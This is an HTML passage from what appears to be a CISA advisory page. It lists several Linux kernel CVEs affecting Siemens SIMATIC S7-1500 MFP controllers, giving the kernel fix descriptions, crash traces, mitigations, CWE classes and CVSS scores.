<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37785</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: fix OOB read when checking dotdot dir Mounting a corrupted filesystem with directory which contains '.' dir entry with rec_len == block size results in out-of-bounds read (later on, when the corrupted directory is removed). ext4_empty_dir() assumes every ext4 directory contains at least '.' and '..' as directory entries in the first data block. It first loads the '.' dir entry, performs sanity checks by calling ext4_check_dir_entry() and then uses its rec_len member to compute the location of '..' dir entry (in ext4_next_entry). It assumes the '..' dir entry fits into the same data block. If the rec_len of '.' is precisely one block (4KB), it slips through the sanity checks (it is considered the last directory entry in the data block) and leaves "struct ext4_dir_entry_2 *de" point exactly past the memory slot allocated to the data block. The following call to ext4_check_dir_entry() on new value of de then dereferences this pointer which results in out-of-bounds mem access. Fix this by extending __ext4_check_dir_entry() to check for '.' dir entries that reach the end of data block. Make sure to ignore the phony dir entries for checksum (by checking name_len for non-zero). Note: This is reported by KASAN as use-after-free in case another structure was recently freed from the slot past the bound, but it is really an OOB read. This issue was found by syzkaller tool. Call Trace: [ 38.594108] BUG: KASAN: slab-use-after-free in __ext4_check_dir_entry+0x67e/0x710 [ 38.594649] Read of size 2 at addr ffff88802b41a004 by task syz-executor/5375 [ 38.595158] [ 38.595288] CPU: 0 UID: 0 PID: 5375 Comm: syz-executor Not tainted 6.14.0-rc7 #1 [ 38.595298] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 38.595304] Call Trace: [ 38.595308] [ 38.595311] dump_stack_lvl+0xa7/0xd0 [ 38.595325] print_address_description.constprop.0+0x2c/0x3f0 [ 38.595339] ? __ext4_check_dir_entry+0x67e/0x710 [ 38.595349] print_report+0xaa/0x250 [ 38.595359] ? __ext4_check_dir_entry+0x67e/0x710 [ 38.595368] ? kasan_addr_to_slab+0x9/0x90 [ 38.595378] kasan_report+0xab/0xe0 [ 38.595389] ? __ext4_check_dir_entry+0x67e/0x710 [ 38.595400] __ext4_check_dir_entry+0x67e/0x710 [ 38.595410] ext4_empty_dir+0x465/0x990 [ 38.595421] ? __pfx_ext4_empty_dir+0x10/0x10 [ 38.595432] ext4_rmdir.part.0+0x29a/0xd10 [ 38.595441] ? __dquot_initialize+0x2a7/0xbf0 [ 38.595455] ? __pfx_ext4_rmdir.part.0+0x10/0x10 [ 38.595464] ? __pfx___dquot_initialize+0x10/0x10 [ 38.595478] ? down_write+0xdb/0x140 [ 38.595487] ? __pfx_down_write+0x10/0x10 [ 38.595497] ext4_rmdir+0xee/0x140 [ 38.595506] vfs_rmdir+0x209/0x670 [ 38.595517] ? lookup_one_qstr_excl+0x3b/0x190 [ 38.595529] do_rmdir+0x363/0x3c0 [ 38.595537] ? __pfx_do_rmdir+0x10/0x10 [ 38.595544] ? strncpy_from_user+0x1ff/0x2e0 [ 38.595561] __x64_sys_unlinkat+0xf0/0x130 [ 38.595570] do_syscall_64+0x5b/0x180 [ 38.595583] entry_SYSCALL_64_after_hwframe+0x76/0x7e</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37785">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37909</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: lan743x: Fix memleak issue when GSO enabled Always map the `skb` to the LS descriptor. Previously skb was mapped to EXT descriptor when the number of fragments is zero with GSO enabled. Mapping the skb to EXT descriptor prevents it from being freed, leading to a memory leak</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37909">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37917</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ethernet: mtk-star-emac: fix spinlock recursion issues on rx/tx poll Use spin_lock_irqsave and spin_unlock_irqrestore instead of spin_lock and spin_unlock in mtk_star_emac driver to avoid spinlock recursion occurrence that can happen when enabling the DMA interrupts again in rx/tx poll. ``` BUG: spinlock recursion on CPU#0, swapper/0/0 lock: 0xffff00000db9cf20, .magic: dead4ead, .owner: swapper/0/0, .owner_cpu: 0 CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 6.15.0-rc2-next-20250417-00001-gf6a27738686c-dirty #28 PREEMPT Hardware name: MediaTek MT8365 Open Platform EVK (DT) Call trace: show_stack+0x18/0x24 (C) dump_stack_lvl+0x60/0x80 dump_stack+0x18/0x24 spin_dump+0x78/0x88 do_raw_spin_lock+0x11c/0x120 _raw_spin_lock+0x20/0x2c mtk_star_handle_irq+0xc0/0x22c [mtk_star_emac] __handle_irq_event_percpu+0x48/0x140 handle_irq_event+0x4c/0xb0 handle_fasteoi_irq+0xa0/0x1bc handle_irq_desc+0x34/0x58 generic_handle_domain_irq+0x1c/0x28 gic_handle_irq+0x4c/0x120 do_interrupt_handler+0x50/0x84 el1_interrupt+0x34/0x68 el1h_64_irq_handler+0x18/0x24 el1h_64_irq+0x6c/0x70 regmap_mmio_read32le+0xc/0x20 (P) _regmap_bus_reg_read+0x6c/0xac _regmap_read+0x60/0xdc regmap_read+0x4c/0x80 mtk_star_rx_poll+0x2f4/0x39c [mtk_star_emac] __napi_poll+0x38/0x188 net_rx_action+0x164/0x2c0 handle_softirqs+0x100/0x244 __do_softirq+0x14/0x20 ____do_softirq+0x10/0x20 call_on_irq_stack+0x24/0x64 do_softirq_own_stack+0x1c/0x40 __irq_exit_rcu+0xd4/0x10c irq_exit_rcu+0x10/0x1c el1_interrupt+0x38/0x68 el1h_64_irq_handler+0x18/0x24 el1h_64_irq+0x6c/0x70 cpuidle_enter_state+0xac/0x320 (P) cpuidle_enter+0x38/0x50 do_idle+0x1e4/0x260 cpu_startup_entry+0x34/0x3c rest_init+0xdc/0xe0 console_on_rootfs+0x0/0x6c __primary_switched+0x88/0x90 ```</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37917">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37945</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: phy: allow MDIO bus PM ops to start/stop state machine for phylink-controlled PHY DSA has 2 kinds of drivers: 1. Those who call dsa_switch_suspend() and dsa_switch_resume() from their device PM ops: qca8k-8xxx, bcm_sf2, microchip ksz 2. Those who don't: all others. The above methods should be optional. For type 1, dsa_switch_suspend() calls dsa_user_suspend() -&gt; phylink_stop(), and dsa_switch_resume() calls dsa_user_resume() -&gt; phylink_start(). These seem good candidates for setting mac_managed_pm = true because that is essentially its definition [1], but that does not seem to be the biggest problem for now, and is not what this change focuses on. Talking strictly about the 2nd category of DSA drivers here (which do not have MAC managed PM, meaning that for their attached PHYs, mdio_bus_phy_suspend() and mdio_bus_phy_resume() should run in full), I have noticed that the following warning from mdio_bus_phy_resume() is triggered: WARN_ON(phydev-&gt;state != PHY_HALTED &amp;&amp; phydev-&gt;state != PHY_READY &amp;&amp; phydev-&gt;state != PHY_UP); because the PHY state machine is running. It's running as a result of a previous dsa_user_open() -&gt; ... -&gt; phylink_start() -&gt; phy_start() having been initiated by the user. The previous mdio_bus_phy_suspend() was supposed to have called phy_stop_machine(), but it didn't. So this is why the PHY is in state PHY_NOLINK by the time mdio_bus_phy_resume() runs. mdio_bus_phy_suspend() did not call phy_stop_machine() because for phylink, the phydev-&gt;adjust_link function pointer is NULL. This seems a technicality introduced by commit fddd91016d16 ("phylib: fix PAL state machine restart on resume"). That commit was written before phylink existed, and was intended to avoid crashing with consumer drivers which don't use the PHY state machine - phylink always does, when using a PHY. But phylink itself has historically not been developed with suspend/resume in mind, and apparently not tested too much in that scenario, allowing this bug to exist unnoticed for so long. Plus, prior to the WARN_ON(), it would have likely been invisible. This issue is not in fact restricted to type 2 DSA drivers (according to the above ad-hoc classification), but can be extrapolated to any MAC driver with phylink and MDIO-bus-managed PHY PM ops. DSA is just where the issue was reported. Assuming mac_managed_pm is set correctly, a quick search indicates the following other drivers might be affected: $ grep -Zlr PHYLINK_NETDEV drivers/ | xargs -0 grep -L mac_managed_pm drivers/net/ethernet/atheros/ag71xx.c drivers/net/ethernet/microchip/sparx5/sparx5_main.c drivers/net/ethernet/microchip/lan966x/lan966x_main.c drivers/net/ethernet/freescale/dpaa2/dpaa2-mac.c drivers/net/ethernet/freescale/fs_enet/fs_enet-main.c drivers/net/ethernet/freescale/dpaa/dpaa_eth.c drivers/net/ethernet/freescale/ucc_geth.c drivers/net/ethernet/freescale/enetc/enetc_pf_common.c drivers/net/ethernet/marvell/mvpp2/mvpp2_main.c drivers/net/ethernet/marvell/mvneta.c drivers/net/ethernet/marvell/prestera/prestera_main.c drivers/net/ethernet/mediatek/mtk_eth_soc.c drivers/net/ethernet/altera/altera_tse_main.c drivers/net/ethernet/wangxun/txgbe/txgbe_phy.c drivers/net/ethernet/meta/fbnic/fbnic_phylink.c drivers/net/ethernet/tehuti/tn40_phy.c drivers/net/ethernet/mscc/ocelot_net.c Make the existing conditions dependent on the PHY device having a phydev-&gt;phy_link_change() implementation equal to the default phy_link_change() provided by phylib. Otherwise, we implicitly know that the phydev has the phylink-provided phylink_phy_change() callback, and when phylink is used, the PHY state machine always needs to be stopped/ started on the suspend/resume path. The code is structured as such that if phydev-&gt;phy_link_change() is absent, it is a matter of time until the kernel will crash - no need to further complicate the test. Thus, for the situation where the PM is not managed b ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37945">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37959</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Scrub packet on bpf_redirect_peer When bpf_redirect_peer is used to redirect packets to a device in another network namespace, the skb isn't scrubbed. That can lead skb information from one namespace to be "misused" in another namespace. As one example, this is causing Cilium to drop traffic when using bpf_redirect_peer to redirect packets that just went through IPsec decryption to a container namespace. The following pwru trace shows (1) the packet path from the host's XFRM layer to the container's XFRM layer where it's dropped and (2) the number of active skb extensions at each function. NETNS MARK IFACE TUPLE FUNC 4026533547 d00 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 xfrm_rcv_cb .active_extensions = (__u8)2, 4026533547 d00 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 xfrm4_rcv_cb .active_extensions = (__u8)2, 4026533547 d00 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 gro_cells_receive .active_extensions = (__u8)2, [...] 4026533547 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 skb_do_redirect .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 ip_rcv .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 ip_rcv_core .active_extensions = (__u8)2, [...] 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 udp_queue_rcv_one_skb .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 __xfrm_policy_check .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 __xfrm_decode_session .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 security_xfrm_decode_session .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 kfree_skb_reason(SKB_DROP_REASON_XFRM_POLICY) .active_extensions = (__u8)2, In this case, there are no XFRM policies in the container's network namespace so the drop is unexpected. When we decrypt the IPsec packet, the XFRM state used for decryption is set in the skb extensions. This information is preserved across the netns switch. When we reach the XFRM policy check in the container's netns, __xfrm_policy_check drops the packet with LINUX_MIB_XFRMINNOPOLS because a (container-side) XFRM policy can't be found that matches the (host-side) XFRM state used for decryption. This patch fixes this by scrubbing the packet when using bpf_redirect_peer, as is done on typical netns switches via veth devices except skb-&gt;mark and skb-&gt;tstamp are not zeroed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37959">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37964</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/mm: Eliminate window where TLB flushes may be inadvertently skipped tl;dr: There is a window in the mm switching code where the new CR3 is set and the CPU should be getting TLB flushes for the new mm. But should_flush_tlb() has a bug and suppresses the flush. Fix it by widening the window where should_flush_tlb() sends an IPI. Long Version: === History === There were a few things leading up to this. First, updating mm_cpumask() was observed to be too expensive, so it was made lazier. But being lazy caused too many unnecessary IPIs to CPUs due to the now-lazy mm_cpumask(). So code was added to cull mm_cpumask() periodically[2]. But that culling was a bit too aggressive and skipped sending TLB flushes to CPUs that need them. So here we are again. === Problem === The too-aggressive code in should_flush_tlb() strikes in this window: // Turn on IPIs for this CPU/mm combination, but only // if should_flush_tlb() agrees: cpumask_set_cpu(cpu, mm_cpumask(next)); next_tlb_gen = atomic64_read(&amp;next-&gt;context.tlb_gen); choose_new_asid(next, next_tlb_gen, &amp;new_asid, &amp;need_flush); load_new_mm_cr3(need_flush); // ^ After 'need_flush' is set to false, IPIs *MUST* // be sent to this CPU and not be ignored. this_cpu_write(cpu_tlbstate.loaded_mm, next); // ^ Not until this point does should_flush_tlb() // become true! should_flush_tlb() will suppress TLB flushes between load_new_mm_cr3() and writing to 'loaded_mm', which is a window where they should not be suppressed. Whoops. === Solution === Thankfully, the fuzzy "just about to write CR3" window is already marked with loaded_mm==LOADED_MM_SWITCHING. Simply checking for that state in should_flush_tlb() is sufficient to ensure that the CPU is targeted with an IPI. This will cause more TLB flush IPIs. But the window is relatively small and I do not expect this to cause any kind of measurable performance impact. Update the comment where LOADED_MM_SWITCHING is written since it grew yet another user. Peter Z also raised a concern that should_flush_tlb() might not observe 'loaded_mm' and 'is_lazy' in the same order that switch_mm_irqs_off() writes them. Add a barrier to ensure that they are observed in the order they are written.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37964">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37972</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: Input: mtk-pmic-keys - fix possible null pointer dereference In mtk_pmic_keys_probe, the regs parameter is only set if the button is parsed in the device tree. However, on hardware where the button is left floating, that node will most likely be removed not to enable that input. In that case the code will try to dereference a null pointer. Let's use the regs struct instead as it is defined for all supported platforms. Note that it is ok setting the key reg even if that latter is disabled as the interrupt won't be enabled anyway.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37972">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
